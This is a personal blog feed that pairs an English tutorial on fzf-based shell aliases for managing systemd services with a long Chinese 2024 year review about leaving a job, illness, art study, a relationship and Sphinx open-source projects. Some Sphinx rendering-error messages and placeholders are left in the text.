银色子弹

sphinxnotes-incrbuild: Enabling Sphinx incremental builds in CI/CD environment

2025-10-15T00:00:00+00:00

As we know, Sphinx supports incremental HTML build, and it works well locally. But for CI/CD, the environment is usually brand new, which causes Sphinx always to rebuild everything. The project wraps sphinx-build and ensures the environment is "incremental build"-able before running the real sphinx-build.

chezetc: Extending chezmoi to manage files under /etc

2025-09-22T00:00:00+00:00

If you are Chzemoi user and want to use Chzemoi to manage files outside $HOME. This script is for you :D

Chezetc enhances chezmoi, transforming it from a $HOME manager into a tool that can seamlessly:

Manage files in /etc and other directories owned by root.
Manage multiple chezmoi repositories without manually specifying --config <PATH>.

A set of smooth, fzf-powered shell aliases&functions for systemctl

2025-09-12T00:00:00+00:00

If you've ever found yourself repeatedly typing long systemctl commands or struggling to remember exact service names, this post is for you.

A while ago I implemented a set of shell aliases and functions, and now I can manage my systemd services very smoothly:

Motivation: The Pain Point

Let's acknowledge a universal sysadmin/developer experience: typing systemctl over and over, managing long unit names.

Beside, the current shell completion implementation is is quite slow, especially on thin client (for example: Raspberry Pi). I am not familiar with the shell completion, so I am not tended to improve it.

⛺ joehillen/sysz is a TUI for systemd, which is a great inspiration that proves fzf is perfect for this job: Fuzzy completion is much more efficient than prefix completion. It is quite frustrating that:

sysz is a TUI program; it is not a one-command action, you have to 1. type "sysz" ‣ 2. fuzzy search service name ‣ 3. select action (start, stop, ...) step-by-step. If you have to start and stop service frequently (for example, when debugging), you have to repeat these steps over and over
sysz is unmaintained since 2022 :'(

So I decided to build a custom set of shell functions and aliases that supercharges systemctl and journalctl with fuzzy-finding magic for my personal usage.

The Vision: What I Wanted to Build

Core Principle

Keep it in the shell. No new binaries, just Shell functions and aliases.

Desired Features

Easy to type:: no need to type long command name and unit name
Easy to repeat:: history operations can be easily performed
Easy to maintain:: just like any other programming, keep it simple and avoid repetition.
Dual Support:: seamlessly handle both --system (sudo) and --user units.
Error handling:: print detailed information when operation failed
One for one:: each operation corresponds to a command/alias, which is completion friendly constrast to subcommand

Implementation: Breaking Down the Script

1. The Basics: Aliases

We can easily define some extremely short aliases for the long systemctl and journalctl commands:

alias s='sudo systemctl'
alias sj='journalctl'
alias u='systemctl --user'
alias uj='journalctl --user'

Operating on systemctl unit require root privilege, so a sudo is required.

2. The Heart: Taming Systemd with FZF

Using fzf to fuzzy complete can greatly improve the efficiency of inputting SystemD units.

systemctl list-units | fzf

The output of systemctl list-units looks like this:

UNIT                           LOAD   ACTIVE SUB       DESCRIPTION
...                            ...    ...    ...       ...
-.mount                        loaded active mounted   Root Mount
boot.mount                     loaded active mounted   /boot
dev-hugepages.mount            loaded active mounted   Huge Pages File System
dev-mqueue.mount               loaded active mounted   POSIX Message Queue File System
proc-sys-fs-binfmt_misc.mount  loaded active mounted   Arbitrary Executable File Formats File System
run-user-1000-doc.mount        loaded active mounted   /run/user/1000/doc
...                            ...    ...    ...       ...

Legend: LOAD   → Reflects whether the unit definition was properly loaded.
        ACTIVE → The high-level unit activation state, i.e. generalization of SUB.
        SUB    → The low-level unit activation state, values depend on unit type.

162 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.

We can easily write a script like that:

systemctl list-units --legend=false \
| fzf --accept-nth=1 \
      --no-hscroll \
      --preview="systemctl status {1}" \
      --preview-window=down

--legend=false:: can hide the trailing hints of outputs, but the column is also hidden
--accept-nth=1:: ask fzf only print the first column (aka the unit name) of the select row
--preview="... {1}":: the {num} syntax means pass the num^th colmun of highlighting row. We can therefore preview the service status in real-time

Merging list-units and list-unit-files

As list-units only list units currently in memory, we usually need to start from the unit that has not yet been loaded, so we also need to list all installed unit files via list-unit-files:

cat <(systemctl list-units --legend=false) \
    <(systemctl list-unit-files --legend=false) \
| fzf --accept-nth=1 \
      --no-hscroll \
      --preview="systemctl status {1}" \
      --preview-window=down

<(systemctl ...):: Use the Process Substitution Syntax to merge stdout from multiple systemctl ... commands

Columnating

The above script doesn't work well, list-units and list-unit-files have different output formats: the former one has 5 columns and the latter has 3, which will mess up fzf's UI:

cat <(echo 'UNIT/FILE LOAD/STATE ACTIVE/PRESET SUB DESCRIPTION') \
    <(systemctl list-units --legend=false) \
    <(systemctl list-unit-files --legend=false) \
| column --table --table-columns-limit=5 \
| sed 's/●/ /' \
| grep . \
| fzf --header-lines=1 \
      --accept-nth=1 \
      --no-hscroll \
      --preview="SYSTEMD_COLORS=1 systemctl status {1}" \
      --preview-window=down

echo 'UNIT/FILE ...':: a hardcoded table header that can tell the user the meaning of the column
column --table ...:: the column command from util-linux can columnate the text and output as a table, set --table-columns-limit to 5 to prevent the "DESCRIPTION" column from being trimmed
sed 's/●/ /':: to strip the dot ("●") unit state which breaks the colmun
grep .:: to strip the empty line
SYSTEMD_COLORS=1:: force enabled colorful output

Reusable for --user

As we want to handle both --system and --user units, we can encapsulate the script to a function:

# SystemD unit selector.
_sysls() {
    WIDE=$1
    [ -n "$2" ] && STATE="--state=$2"
    cat \
        <(echo 'UNIT/FILE LOAD/STATE ACTIVE/PRESET SUB DESCRIPTION') \
        <(systemctl $WIDE list-units --quiet $STATE) \
        <(systemctl $WIDE list-unit-files --quiet $STATE) \
    | sed 's/●/ /' \
    | grep . \
    | column --table --table-columns-limit=5 \
    | fzf --header-lines=1 \
          --accept-nth=1 \
          --no-hscroll \
          --preview="SYSTEMD_COLORS=1 systemctl $WIDE status {1}" \
          --preview-window=down
}

alias sls='_sysls --system'
alias uls='_sysls --user'

$1:: is --system or --user
$2:: is service states, see also systemctl list-units --state=help

Then we can use sls and uls to get the full service name by fuzzy matching.

3. The Complete Function

Error handling

When performing systemctl start xxx.service, if the service does not start successfully, it only tell you to run journalctl -xeu to see the log:

$ s start docker.service
Job for docker.service failed because the control process exited with error code.
See "systemctl status docker.service" and "journalctl -xeu docker.service" for details.

In another situation, if a service immediately dies after launched, systemctl even tells you nothing:

$ s start getty@foo
$ echo $?
0
$ s status getty@foo
× getty@foo.service - Getty on foo
     Loaded: loaded (/usr/lib/systemd/system/getty@.service; disabled; preset: enabled)
     Active: failed (Result: start-limit-hit) since Fri 2025-09-12 20:44:26 CST; 1s ago
        ...: ...

Sep 12 20:44:26 x1c systemd[1]: ...
Sep 12 20:44:26 x1c systemd[1]: Failed to start Getty on foo.

To help users get detailed service status after launching a service, we can use the following pattern:

s start foo.service && s status $_ || sj -xeu $_

A && B || C:: if A success, performing B, else C
$_:: is the last argument of the previous command, in this case it is "foo.service"

Repeatable

The key to efficient debugging is repeatability. After fuzzy-selecting and starting a service once, I should be able to simply press the ↑ arrow and Enter to run the exact same command again, without going through the fuzzy selection process every time:

sstart () {
    CMD="s start $(sls static,disabled,failed) && s status \$_ || sj -xeu \$_"
    eval $CMD
    [ -n "$BASH_VERSION" ] && history -s $CMD
    [ -n "$ZSH_VERSION" ] && print -s $CMD
}

sls static,...:: pre-filtering services by states, services that need to be "start"-ed must not be in active state, filter by these states can reduce the number of outputs, accelerate the command to some extent ^存疑
\$_:: prevent the variable from being expanded before eval
history -s and print -s:: push the command to history, facilitating subsequent repetition

4. The Magic: Dynamic Function Generation

After implementing sstart, we also have to implement:

sstop:: for systemctl stop
sre:: for systemctl restart
ustart:: for systemctl --user start
ustop:: for systemctl --user stop
ure:: for systemctl --user restart

Repeatedly implementing these functions is tedious and boring. Fortunately, we can dynamically generate them in a loop:

备注

This dynamic generation approach avoids repetitive code but adds some complexity. For clarity, you could instead explicitly define each function.

_SYS_ALIASES=(
    sstart sstop sre
    ustart ustop ure
)
_SYS_CMDS=(
    's start $(sls static,disabled,failed)'
    's stop $(sls running,failed)'
    's restart $(sls)'
    'u start $(uls static,disabled,failed)'
    'u stop $(uls running,failed)'
    'u restart $(uls)'
)

_sysexec() {
    for ((j=0; j < ${#_SYS_ALIASES[@]}; j++)); do
        if [ "$1" == "${_SYS_ALIASES[$j]}" ]; then
            cmd=$(eval echo "${_SYS_CMDS[$j]}") # expand service name
            wide=${cmd:0:1}
            cmd="$cmd && ${wide} status \$_ || ${wide}j -xeu \$_"
            eval $cmd

            # Push to history.
            [ -n "$BASH_VERSION" ] && history -s $cmd
            [ -n "$ZSH_VERSION" ] && print -s $cmd
            return
        fi
    done
}

# Generate bash function/zsh widgets.
for i in ${_SYS_ALIASES[@]}; do
    source /dev/stdin <<EOF
$i() {
    _sysexec $i
}
EOF
done

for ((j=0; j < ...; j++)):: is a bash and zsh compatible for loop syntax
_sysexec:: a wrapper for dynamically dispatching function
source ...:: a way for generating function dynamically

Final Thoughts

Now you can 1. type "sstart" ‣ 2. fuzzy search service name to start a service. If service is failed, the related logs are print automaticlly. You also can press ↑ to browse commands history to repeat the previous operation.

Using this script saved me a lot of unnecessary keystrokes, just an s gives me more happiness than systemctl. The fuzzy search algorithm of fzf is good enough that I can get the desired result in one go even with a casual keystroke. It also works well on my Raspberry Pi 3B.

Feel free to grab the script from my dotfiles repository and adapt it to your own workflow. I'd love to hear about your own systemd productivity tricks in the comments!

2024 更新日志

2025-03-02T00:00:00+00:00

今年的时间过得飞快，总感觉 2023 还近在眼前。看朋友圈和相册的时候觉得上半年的回忆很稀薄，似乎那段时间是空白的；下半年密集发生了很多重要的事情，回想起来又觉得很陌生。

工作？不用了

今年上半年一直延续着和之前类似的工作状态，但因为熟练度上升了，工作体验也有所好转。九月一号我入职满三周年，也是劳动合同到期的日子，按说在两个月前应该有续签邮件发来，但我迟迟没有等到。七月底的时候，老板找我聊天告知我公司将不会和我续约。

其实这在我的预期之内：从 23 年的工作总结可以看出，工作对我来说已经如同鸡肋。我开始像 被抛弃的预感 里描述的一样，强化「自己很快就要离职」的想法，在没有 deadline 的情况下做离开前的准备：不再办理任何的预付费卡、抓紧上剩下的羽毛球课、利用在职身份办港卡、办签证等等。

一年前想着如果要离开的话，趁还在能做些什么呢？

一年后的今天就被老板约谈了 ahhhh

被约谈时的心情可以用「欣喜若狂」来形容，毕竟不需要自己做决定的同时还能获得一份赔偿金（合同到期不续是 N，而非 N+1，小小失望），想要回去画画的心愿也可以实现了。现在写下这些话的时候心情反而比之前复杂一些，这也并非不可预料：辞退某种意义上是公司、团队对我的一种否定。买断了我一天中黄金时间的雇主，他们有权力强制改变我的生活状态，并且也确实这么做了。假设说我的内心有其他事物可以依靠的话，这否定尚且不能影响我的心境，问题是 在自我的审视里，我好像已经对画画这件事情失去信念了。

泡在名为「溢出的价值」的温水里

前司以工作强度高而著称，但平心而论我并不很忙：我牺牲上升通道换取相对轻松的工作。这已经比大部分人幸运了—— 至少我可以选择。

那这三年我获得了一些什么呢？一份对我来说相当丰厚的薪水、一段在国内不差的工作经历、一点差强人意的技术进步、不算特别少的业余时间，这些我都心存感激。

让我遗憾的是，明明有着一流的工作环境，优秀的员工，大规模的应用场景，为什么许多人总是在做一些没有意义，甚至愚蠢的工作？也许这是组织规模扩大的必然结果，总有有人在做有价值的事情，其他人只是被公司溢出的价值浸泡着的青蛙—— 尽管这并不是公司的本意。

在经济下行的大背景下，大家已经不谈什么理想了，「溢出的价值」短时间内还不会消失，但增量吃习惯了，原地踏步就是罪过。焦虑开始弥漫：表面上所有员工都遵循公司规定的价值观行事，事实上大家都只为自己利益的来源负责，基层的工作用来缓解上层的焦虑，上层的工作再用来缓解更上一层的焦虑……

写完我发现我还是太幼稚了，年景不好就别谈理想了。工作，是用来赚钱的。前司，谢谢你给我赚钱的机会，现在不能赚了，也谢谢你给我自由。

来日后会相予期，去去莫迟疑

老板明面上还是给了转岗的机会，但我自然不想转。在确定离职之后，我开始做准备。工作以外的部分是：

写了一篇离职文档，在离开前做一些自我展示。以前不敢多要的虚荣，现在一次性吃下
和内部认识的一些朋友加微信保持联系
以前在公司偶尔会收到搭讪，因为不方便所以都显得很冷淡，现在一一回应一下：虽然不是特别体面，但我有这个自由
勇敢约陌生人吃饭：也许能有一些新思路呢

聚虽好，别虽悲，世事堪玩味

来日后会相予期，去去莫迟疑

这是送别歌词的一个版本，最后一句在我入职的时候就用来当公司内部系统的密码，用来当离职文档的标题再合适不过。

The day after last day

再见杭州

系统上的 Last day 是 8.31，但从 16 号开始我就不再需要去公司了。我订了 9.12 回家的机票，在这期间我开始处理一些离开杭州相关的事务：

断舍离：卖掉带不走的大件、送出对自己没价值的东西、扔掉没人要的东西
收拾行李：一部分寄往燕郊画室，一部分寄回广东老家
练球：把大柳的羽毛球课上完，偶尔也去阿里西溪 B 区打夜场
看病：趁着医保和商保还在把需要看的都看了，算是把医保套现

肺炎夺走的是什么？

回到家后，我筹划着和家里人一起出去旅游。我自己对旅游有一些恐惧，按流行的话说是一些东亚小孩长大后的后遗症，但爸妈年纪大了，以后这样的机会肯定越来越少了。正好阿姐也赋闲在家，规划了一番后我们决定去桂林玩五天，很可惜对我来说是噩梦的开始。

第一天:: 在去桂林的高铁上我就开始感到不适，到了酒店开始发烧 39.5°C、咳嗽
第二天:: 一大早去桂林人民医院看病，开了抗菌药，无效
第三天:: 去阳朔医院接着看，开了抗病毒药，无效
第四天:: 家里人决定提前返回，回深圳看病，在社区医院查出了支原体，吃特效药阿奇霉素—— 以为事情到这里就只剩下吃药了
第五～七天:: 在深圳呆了两天后返回老家，阿奇吃完一个流程后依然没有退烧
第八天:: 去区里的私立医院拍了 CT，这下知道为什么阿奇霉素没用了：已经转成了肺炎。于是当场住院，阿妈从家里收拾了住院的东西过来。

虽说是肺炎，但也没有到重症的程度，只需要每天吸氧、打点滴和雾化吸入药物。阿爸阿妈一直陪护，生活上也没有什么不便。在这个过程里我都是迷迷糊糊的，所以肉体上也谈不上痛苦，让人感到恐惧的也许只是安全感和信念的流失。

桂林的好山水，可惜无福消受

病床上写 How Sphinx Default Role Works

病房里的写生

左肺在迷雾中

失业引发的焦虑在这时候才体现出来：住院每天要花一千出头，而如果我有职工医保的话，80% 费用都可以报销。更让人恐惧的是：我失去了稳定的现金收入，而这样躺着就要花钱的日子说来就来了。我知道失业了就是会有这样的风险，也知道自己的存款足以应付这场病，但危机真的摆在眼前的时候，我还是会害怕，想要去画画的心也开始动摇。

原定国庆出发去燕郊，出院时已经是 10 月 6 号。恰逢入冬，我怕我脆弱的肺承受不住北方的严寒和画室的松节油，动身的时间推迟到了十一月。

失去信念的人，举起画笔

和四年前辞职画画（./new-boy）的心情不同，我不再满怀期待，反而心中有很多忧虑。出发之前我给 ^{Render Report}

发了长长的消息：

老师，我大概定下 11.4 号去画室。之前应该还没跟您说，我现在没在工作了了，所以这次打算学长期一点。

这几年里小创作画得确实很少，但几次自我怀疑之后我发现我总是还能画出东西来，但让我更痛苦的是我还是我的技术不止没有长进，更是一直在慢慢的退步，在我看来已经不够支持我画创作了，我有时候会有点子想画画，但又畏惧复杂的东西，在失去了这个点子的同时我又失去了一次练手的机会，我又几乎不做其他练习，于是两者互相促进，我感觉我的想法慢慢开始枯竭，手也特别生疏，没法再继续画画了（虽然如此，还是也会逼着自己画小创作，只是很烂）。

老师，所以我这次的打算是：

把去年的色彩训练课程上完

画点素描，把光影和造型再找回来

我现在脑子里只剩下一些概念了，手和眼睛都是笨的。当然这个过程里创作也不会停，在画室手应该不会生。最后，我想试着把小创作转化成作品，我觉得只是把一个点子画出来，好像不算完整的创作，只是像在做梦而已。我自己好像没法完成完整的作品，在之前创作课，我在找语言那里卡了很久，觉得自己不懂其他材料，迟迟下不了笔，心理负担很大，实在有愧于老师的教导。

总结起来就是：

我丧失了曾经「掌握」的写实技术，无法自主地在技术上进步，畏惧画面上的复杂度
创作一直停留在灵感阶段，不知道如何将创作转化为更完整的作品，导致创作的热情减退

这甚至是我的忧虑里积极的一面：因为失去了所以想要取回，因为遇到瓶颈所以要寻求帮助。那么，没有说出来的是什么呢？其实前面已经提到了：

在自我的审视里，我好像已经对画画这件事情失去信念了。

在对造型的理解更多之后，我开始觉得架上绘画是过时的、要被淘汰的技术，潜意识里不再愿意为它付出努力了
我习惯于用负面情绪画创作，但我 不想为了创作咀嚼甚至创造痛苦，我害怕自己越陷越深。如果我要坚持画画，我是否就没法成为一个幸福的人呢？假如有一天我成为一个幸福的人，画画又会出现在我人生中的什么位置呢？

这些忧虑并没有阻止我回画室的进程，我总要回去做点什么：要不把这些忧虑解开，要不亲手把画画杀死。

提示

到目前为止，这些忧虑也一个都没有解决。当然，画画也没有被杀死。

造型：遗忘、拖沓和平淡的获得

回到画室的我，其实憋着一股劲：只要天天上课，失去的技术就会顺利成章地再次回来，对吧？！我同时付出了努力与选择，我还不配获得这些吗？

好可惜，我心里似乎有什么东西在阻止我学会。前两个月我努力地天天上课，但眼睛是模糊的，脑子是迟钝的，看不到斑驳的石膏上有哪些凸起的 ^{Render Report}

，也想象不出来在纸面上它们应该如何对应和对称。老师的指点听过了就忘，又或者每一句话都记住了，但不知道如何用上。我画画的速度也非常慢，经常擦了改改了擦，或者磨蹭半天不知道如何下笔，慢到了令人发指的程度。愚笨和迟缓纠结在一起，这样的日子一直持续了一个多月。这期间我画了两张四开的石膏，在第二张结尾的时候总算有一些进步：

万幸，我没有把所有东西都忘掉，但我的感受是含糊的。我到底是掌握了熟练度，还是掌握了造型的知识？我时常会质疑自己在画 高乃依像 的时候，是真正理解了造型还是只是在老师的步步搀扶下「突破」了自我？之前的笔记并不能帮我画出一样的画，除了文字化的知识，我还欠缺了关键的、未知的什么东西。

12 月下旬，我开始画半开的摩西像。没能再和以前一样顿悟，我拖沓又笨拙地取回关键的东西：仅凭知识是无法作画的，需要配合正确的观察方法才能在纸上实践。而何谓「正确的观察方法」，这又是难以言传的，我在这里尽力记录，希望以后不要再忘记：

形体的观察方法

目的

搞清楚 ^{Render Report}

边界在哪里，由几个面组成，每个面的形状如何。

警告

不搞清楚这些问题而画出来的形体，只是通过经验或者模仿产生，是油滑或者虚伪的

要利用多年来日常生活的视觉经验去感受空间，感受形体的饱满度。反之，拒绝死盯着一点看的片面观察方法。在看不清形体的时候要穷尽手段去观察，看不清的情况可能有：

距离太远：靠近看、拍照片放大
角度存在错觉或盲区：多角度观看、
石膏脏污：拿刷子扫去浮灰、上手触摸
物象结构复杂、特征不明显：
- 先画确定的部分：先画更大的形体、再画大形体中清晰的小形体、最后画（or 放弃）含糊的小形体
- 该物象需要拆分成更好理解的多个形体，
- 观察同类型形体的共性：对于石膏像写生，可以看其他大师的雕像同部位
- 从其他途径学习其 内部构造 （解剖知识）

形体的边界

形体的边界要通过感受物象的凸起获得，或者反过来说，观察低点。

面的形状

面的形状是通过感受形体的特征得到的，而非盯着形体尝试看出面的边界。

最机械的特征可以是：「这个形体像什么标准的几何体」，假如形体像一个椎体，那么组成该形体的面一定是三角形的。在自然物象中经常出现的几何体：椎体、柱体、方体、圆球、椭圆、梭形

特征也可以用清晰的语言描述：这个形体是一边大一边小/两边大中间小/中间大两边小，由此可推测出面的形状。

备注

务必明确面的形状后再下笔。当形状难以确定的时候，可参见「物象结构复杂、特征不明显」的处理方法。

在画比较大的形体的时候，组成形体的面不一定是物理上存在的，而是多个更小的形体组合的虚拟的面，需要主动去归纳（归纳 != 概括）。

^{Render Report}

（未完成）

我现在确信，自己之前并没有掌握正确的造型知识。我不知道这次有没有，应该更接近一些了吧。也许因为是抱着「取回失物」的心态而来，也可能是因为对画画失去了信念，获得这些知识时我并没有觉得快乐，只是感觉心头有一个疙瘩被稍稍解开。

待处理

更新形体笔记

创作：叔本华的钟摆

今年大概画了 60+ 张小创作，上班时画的和来燕郊后画的各占一半。如前面提到的，我本不太担心自己画不出来，只要我在生活，就总是能画出东西来。但在平淡生活里画出来的东西确实如同清汤寡水，痛苦太剧烈又会让自己失去行动力。当下有轻微的真切的痛苦，而稍远处是巨大的绝望，这似乎是最适合创作的生活状态。

可是有谁会喜欢这样的生活呢？为了创作追求这样的生活，也是一种不真诚吧。我需要和上天祈祷赐予我不幸福的生活吗？

下面几张画是上班期间比较满意的部分：

日记

树

等

跳龙门

这是来燕郊后的部分：

可以明显看到来燕郊后的画更稳定地有意思一点儿，一方面上班挤占了我大部分的精力，另一方面在燕郊的生活有了些插曲，为我带来了多样的情绪。嗯，我又谈恋爱了。

那个让我放下笔的人

《有星星和微风的夜晚》的预言之子

21 年我离开画室，入职前司。彼时还未完全从上一段感情带给我的痛苦里完全 ^{Render Report}

出来，同时也对自己在异性眼里的「价值」充满怀疑。我需要一些拥抱用来敷在伤口上，但不受欢迎的人去哪里获得这些呢？梦里。

网易云有一个「一起听」的功能，会按红心歌曲匹配两个陌生人，双方的面容和身形被一个面具素材盖住，若是尽力展示谈吐，倒也能获得一些陌生人的善意。可这有什么用呢？陌生人的善意轻飘飘的，我不想要这样的东西，我想做一个含糊又浪漫的梦。

System Message: INFO/1 (src/blog/2024-changelog-dynamic-story.txt, line 1)

No role entry for "sup" in module "docutils.parsers.rst.languages.zh_cn". Using English fallback for role "sup".

是一个有星星的夜晚，窗户敞开着，窗帘在微风下轻轻摆动。A 蜷缩在被子里 ¹，手机里的网易云对面的那个人是谁呢？² 她的善意是真实存在的吗？1853 公里外发来的文本还有余温，仔细闻闻还有淡淡的香气。

「

我想不太可能吧，

怎么会有人对这样的我投以善意呢？

…

…

…

要是真的就好了…

」

System Message: INFO/1 (/home/runner/work/silverrainz.github.io/silverrainz.github.io/src/blog/2024-changelog.rst, line 14)

No directive entry for "raw" in module "docutils.parsers.rst.languages.zh_cn". Using English fallback for directive "raw".

眼泪偷偷从 A 的眼角里滑落，1853 公里这个数字好像开始闪烁，A 耳边传来呼呼的风声，窗户也开始摇晃，他起身来跪坐在床上。

于是 A 张开了双手… ³ 抱住了从天而降的少女。⁴

两年后，这个故事真实发生了，这个少女是 ^{Render Report}

。

几个亮晶晶的问号和一撮毛茸茸的阳光

Swan 是我的前同事。22 年我还保留着画小创作的惯性，在画画方面也尚且留有最后一点自信。偶尔会大胆地拿自信去换取虚荣，具体方式就是在内网发自己的画并且等待一些赞扬，也因此认识了不少朋友。Swan 是其中的一位，她告诉我她特别喜欢我在西溪北苑画的《蓝色失眠》：

从飞书里有限的沟通我知道她 base 北京，是一个干练的产品经理，很手巧会钩针编织，热爱旅游会在世界各地潜水，符合我对光鲜亮丽的大厂人的美好生活的想象。八月的时候我在内网发离职文档，彼此交换了微信，并约好在北京有空吃个饭，算是建立了联系。

后面的联系越来越多，有日常的闲聊也偶有交心的谈话。我是一个情感上混乱又迟钝的人，很难在短时间内上建立一个人的形象，在认识 Swan 一段时间后，我反而更加迷惑了，她是什么样的人呢？

是鸟群里飞得最快的海鸥？地球只是她的游乐场，临时起意的一个夜里就能从挪威西南部飞到英国的东海岸。努力振翅，再有一个多月的时间就能从北京飞到旧金山。好可惜，太平洋的水是咸的。

是一头站在路边的小熊？身上每一撮毛都有阳光的味道。它会对我展现出不知道来由的友好，好像我是什么样的人都好，好像很难有什么事情能动摇她的内心，但她的拥抱依然温暖又柔软。

可能她还是一朵孤零零开的小花？有点营养不良。在某个晚上无风也无雨，她只是突然想要凋落，便自己凋落了。

可能她就是我，敏感内敛又不稳定，拥有相似的脑回路，奇怪的知识和一点点外人会羡慕的特长。

我不知道，我不知道，但我很在意，这个人越靠越近，她身上贴着的问号也越来越挤满我的视野。

局促又绵长的第一天

我开始变得柔软，全身的肌肉失去力气，视线开始模糊，脑袋也得昏昏沉沉。颤抖的双手不敢撕下面前的问号，双腿依然在往那边迈去。每天画素描的时候完全不在状态，我回忆起一些恐惧：

恐惧让我心生犹豫，但我的预感又告诉我，这一天还是会到来：

我想她不是海鸥也不是我，她是一头孤零零的小熊吧。

Swan 说，这张画作为小创作过于直白，作为表白又过于含蓄，我深以为然。

放下笔的日子

尽管嘴上说着画画比她重要，实际上还是把很多本该画画的时间匀给了谈恋爱。画室的课程至今进行了近四个月，其中只有 69 天在上课，可以看到从 12 月 5 日的那个周末起，这位滴答清单用户的心就不安分了：

滴答清单的打卡数据

因为北京和燕郊距离还是比较远，只能尽力创造见面的机会，有时候我进城，更多的时候是辛苦她下乡。进城的大多是去 798 看展，下乡则是逛菜市场合作做饭。

看展，主要是老师布置的任务：

^{Render Report}

作品

向帅 作品

图伊曼斯 作品

^{Render Report}

作品

做饭，尽是一些自己根本不可能做的大菜：

精心堆料的红烧牛肉面

南北通力包饺子

备菜巨麻烦的虾枣

俩人连轴转了一下午。唯一的优点当然是好吃啦

妹妹的爱心早餐，凑合吃吧

从 2024 也可以看到，12 月中旬后我就再没画什么画了，因为「当下有轻微的真切的痛苦，而稍远处是巨大的绝望」的生活状态被打破了。我假象的困境出现了：我有机会成为，或者已经是一个幸福的人了，那我还能依靠什么画画呢？这个问题到现在还没有答案。

巨变之下的其他生活

除了上面聊到的重要事件，其他的生活也依然在继续着。

开源

今年写的开源代码显著变少了，基本也都是 Sphinx 和 reStructuredText 衍生的项目：

社区贡献

也许这部分的贡献会让这个世界变得更好吧？至少是有人在用的东西。今年希望能多多地帮 Sphinx 写代码，也许能成为 maintainer 呢？

为了加快 ⛺ sphinx-notes/pages 的构建速度去改了 actions/upload-pages-artifact：Group tar's output to prevent it from messing up action logs by SilverRainZ · Pull Request #94 · actions/upload-pages-artifact

给 Sphinx 交了三个 PR，只有一个是有意义的 fix：

改善了一下 TreeSitter 的 reStructuredText parser，对于 parser generator 一直一知半解，都是一半猜一半写：

识别 reStructuredText 中的非 ASCII （主要是 CJK 的）标点符号：Recognize non-ASCII punctuation chars by SilverRainZ · Pull Request #54 · stsewd/tree-sitter-rst
识别一些流行 Sphinx 扩展里的 directives：Add queries for sphinxnotes-strike and sphinx-design by SilverRainZ · Pull Request #21 · stsewd/sphinx.nvim
修正对标题的捕获：fix(rst): adornment should be captured as @markup.heading by SilverRainZ · Pull Request #7302 · nvim-treesitter/nvim-treesitter

Sphinx Notes 过家家

这些项目都过于小众，很难让人不觉得代码开源是为了方便我自己访问。

今年写了两个新项目：

📦 sphinxnotes-comboroles：通过现有的 reStructuredText role 合成新的 role

弥补了 reStructuredText 不支持 nested markup 的缺陷。已经写了一篇文章来介绍它的原理：sphinxnotes-comboroles。

:strong:`:literal:`bold code``	:literal:`bold code` System Message: INFO/1 (/home/runner/work/silverrainz.github.io/silverrainz.github.io/src/blog/2024-changelog.rst, line 476) No role entry for "strong" in module "docutils.parsers.rst.languages.zh_cn". Using English fallback for role "strong".	❌
:strong_literal:`bold code`	`bold code`	✔️

📦 sphinxnotes-fasthtml：快速的增量构建

尽管 Sphinx 支持增量构建，但我的笔记过于庞大了，标准的增量构建都需要十几秒，配合 📦 sphinx-autobuild 实时预览时体验很差。实际上实时预览仅关注正在修改的单个页面，而并不关注文档整体的正确性。

Sphinx 的增量构建会做额外的很多事情：

在修改配置（conf.py）时会 fallback 到全量构建
根据情况需要额外：更新 toctree、构建 always-reread 的文档、生成 additional pages
索引（Index）不支持增量构建
其他的正确性检查

fasthtml 则根据实时预览的需求做了激进的优化，基本做法就是 hook 掉了 Sphinx HTML builder 里耗时的部分，因此可能对未来的 Sphinx 大版本有兼容性问题，也就没有发 stable release。

用 fasthtml 构建 Sphinx 自己的文档，能比标准的增量构建快 0.6 秒左右（在我自己的笔记系统会快大概 10 秒）：

https://github.com/sphinx-notes/fasthtml/blob/master/utils/bench.sh

Python 3.13.1
Sphinx: 7.3.7
sphinxnotes-fasthtml: 1.0b1
>>> Standard build
real    0m2.590s
user    0m2.519s
sys     0m0.067s
>>> Fast build
real    0m1.996s
user    0m1.918s
sys     0m0.073s

今年还重构了两个我自己重度使用的项目：

📦 sphinxnotes-any：生成 reStructuredText directives 用来创建对象，并且可以用 role 引用它

今年加强了索引功能，在支持了日期索引和路径索引，现在可以：

按时间顺序来浏览我的画：Artwork Date Reference Index by Year
按系列来浏览我的画：Artwork Id Reference Index by Hyphen

📦 sphinxnotes-snippet：从命令行快速访问 Sphinx 文档

因为 1. 文档写的很糟糕 + 2. 只对中文文档有优势 + 3. 配置麻烦，所以完全没有其他用户在用。

今年主要：

整理了项目的结构，让它和其他的 Sphinx Notes 项目保持一致
支持了 Code snippet，为快速执行文档里的代码块做准备，实际上还没实现…
写了一个 Vim input helper，方便自动插入 doc:`docname`

衣食住行

衣

毫无变化的一年。

食

托妹妹的福，厨艺慢慢得到恢复，做饭速度也上来了。现在可以用粘锅煎荷包蛋，大火炒菜，甚至颠锅技能也回来了！调料也不再局限于只用油盐酱，耗油、糖、胡椒粉这些都会试下。

乡下人第一次吃到北极虾、冻青花鱼，味道是真不错。

从家里买来的牛肉丸也得到了妹妹的好评。

住

从杭州的 LOFT 搬到了燕郊的二房一厅，租金从 3200 掉到 1200，还是挺爽的。难受的点在前屋主太不讲究房子太旧且会有些霉味儿清不掉，小区的电梯老化太厉害，三天两头坏一次。好在便宜嘛，咬咬牙忍住。

行

带妹妹去了躺潮州，又被妹妹带回大连，都是蛮愉快的体验。

娱乐

游戏

席德梅尔的文明 VI:: 主要还是上班的时候玩…但因为垃圾时间太多也慢慢懒得开游戏了
王国之泪:: 开了个新档重新打。没打多久就又搁置了，可以做的事情太多导致没什么方向
饥荒联机版:: 和妹妹的娱乐档，想来那时候就可以预见我们做饭的合作模式
OverCook 2:: 和妹妹玩，手柄经常误触把厨房烧了
马里奥奥德赛:: 我是一个无情旋转的帽子

吉他

谈恋爱前还在缓慢地练去年提到的 CAGED system，歌只多练了一首《亚细亚的孤儿》。谈恋爱后统统搁置了。

之前的木琴一直在南方而且面板有裂的迹象，担心带到北京坏了，于是换了一把无头电吉他 ^{Render Report}

，目前就是当一把低弦距的木琴弹，完全不考虑什么音色。

倒是有两件有意思的事情：

^{Render Report}
System Message: ERROR/2 (None, line None); backlink

Render Report:

Failed to render markup text to inline nodes:
```
'Values' object has no attribute 'tab_width'
```
邀请我去他们的乐队了玩，快乐排练了一首《恋曲 1980》，希望今年能多蹭一下这样的排练
妹妹虽然是弹钢琴的，但吉他上手很快。在家里我们也会拿上 ^{Render Report}
